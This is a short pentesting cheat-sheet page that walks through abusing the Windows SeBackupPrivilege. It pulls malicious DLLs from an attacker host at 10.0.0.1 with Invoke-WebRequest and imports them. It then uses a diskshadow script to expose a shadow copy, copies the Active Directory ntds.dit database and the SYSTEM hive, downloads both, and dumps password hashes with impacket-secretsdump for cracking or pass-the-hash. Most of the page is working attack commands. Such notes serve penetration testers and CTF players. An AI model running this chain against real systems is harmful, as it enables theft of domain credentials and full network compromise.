# Windows PrivEsc with SeBackupPrivilege

### [Investigation](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/windows-privesc-with-sebackupprivilege/#investigation) <a href="#investigation" id="investigation"></a>

First check if the current user has SeBackupPrivilege in the privilege information.

```bash
whoami /all
Copied!
```

If so, we can read arbitrary files on the system include administrator's files, SAML file, SYSTEM registry file, etc.

\\

### [Exploitation (Read Sensitive Files)](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/windows-privesc-with-sebackupprivilege/#exploitation-\(read-sensitive-files\)) <a href="#exploitation-read-sensitive-files" id="exploitation-read-sensitive-files"></a>

#### [1. Download & Upload Malicious DLLs](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/windows-privesc-with-sebackupprivilege/#1.-download-%26-upload-malicious-dlls) <a href="#id-1.-download-26-upload-malicious-dlls" id="id-1.-download-26-upload-malicious-dlls"></a>

In local machine, download malicious dlls from [here](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)

```powershell
# If powershell,
Invoke-WebRequest -Uri http://10.0.0.1:8000/SeBackupPrivilegeUtils.dll -OutFile .\SeBackupPrivilegeUtils.dll
Invoke-WebRequest -Uri http://10.0.0.1:8000/SeBackupPrivilegeCmdLets.dll -OutFile .\SeBackupPrivilegeCmdLets.dll
# If winrm,
upload SeBackupPrivilegeUtils.dll
upload SeBackupPrivilegeCmdLets.dll

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

Set-SeBackupPrivilege
Get-SeBackupPrivilege
Copied!
```

#### [2. Copy & Read Sensitive Files](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/windows-privesc-with-sebackupprivilege/#2.-copy-%26-read-sensitive-files) <a href="#id-2.-copy-26-read-sensitive-files" id="id-2.-copy-26-read-sensitive-files"></a>

```powershell
Copy-FileSeBackupPrivilege C:\Users\Administrator\flag.txt C:\Users\Public\flag.txt -Overwrite
Copied!
```

\\

### [Exploitation (Retrieve Registry Keys)](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/windows-privesc-with-sebackupprivilege/#exploitation-\(retrieve-registry-keys\)) <a href="#exploitation-retrieve-registry-keys" id="exploitation-retrieve-registry-keys"></a>

#### [1. Create a Payload and Transfer It](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/windows-privesc-with-sebackupprivilege/#1.-create-a-payload-and-transfer-it) <a href="#id-1.-create-a-payload-and-transfer-it" id="id-1.-create-a-payload-and-transfer-it"></a>

Create **"diskshadow\.txt"** in local machine. It referes to [this](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#using-diskshadow-a-windows-signed-binary).

```bash
set metadata C:\tmp\tmp.cabs 
set context persistent nowriters 
add volume c: alias someAlias 
create 
expose %someAlias% h:
Copied!
```

Upload this file to remote machine.

```powershell
# If powershell,
Invoke-WebRequest -Uri http://10.0.0.1:8000/diskshadow.txt -OutFile .\diskshadow.txt
# If winrm,
upload diskshadow.txt
Copied!
```

#### [2. Execute DiskShadow.Exe](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/windows-privesc-with-sebackupprivilege/#2.-execute-diskshadow.exe) <a href="#id-2.-execute-diskshadow.exe" id="id-2.-execute-diskshadow.exe"></a>

Then execute diskshadow\.exe.

```powershell
# /s: Specify the script file
diskshadow.exe /s .\diskshadow.txt
Copied!
```

#### [3. Upload Malicious DLL](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/windows-privesc-with-sebackupprivilege/#3.-upload-malicious-dll) <a href="#id-3.-upload-malicious-dll" id="id-3.-upload-malicious-dll"></a>

We can download two dll files from [here](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug).

```powershell
# If powershell,
Invoke-WebRequest -Uri http://10.0.0.1:8000/SeBackupPrivilegeUtils.dll -OutFile .\SeBackupPrivilegeUtils.dll
Invoke-WebRequest -Uri http://10.0.0.1:8000/SeBackupPrivilegeCmdLets.dll -OutFile .\SeBackupPrivilegeCmdLets.dll
# If winrm
upload SeBackupPrivilegeUtils.dll
upload SeBackupPrivilegeCmdLets.dll

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

Copy-FileSeBackupPrivilege h:\windows\ntds\ntds.dit c:\tmp\ntds.dit -overwrite

reg save HKLM\SYSTEM c:\tmp\system

download ntds.dit
download system
Copied!
```

#### [4. Dump Password Hashes](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/windows-privesc-with-sebackupprivilege/#4.-dump-password-hashes) <a href="#id-4.-dump-password-hashes" id="id-4.-dump-password-hashes"></a>

Now we have two files (ntds.dit and system) in local machine.\
We can dump password hashes using the files.

```sh
impacket-secretsdump -ntds ntds.dit -system system LOCAL
Copied!
```

After that, crack the hashes or use them for pass-the-hash.
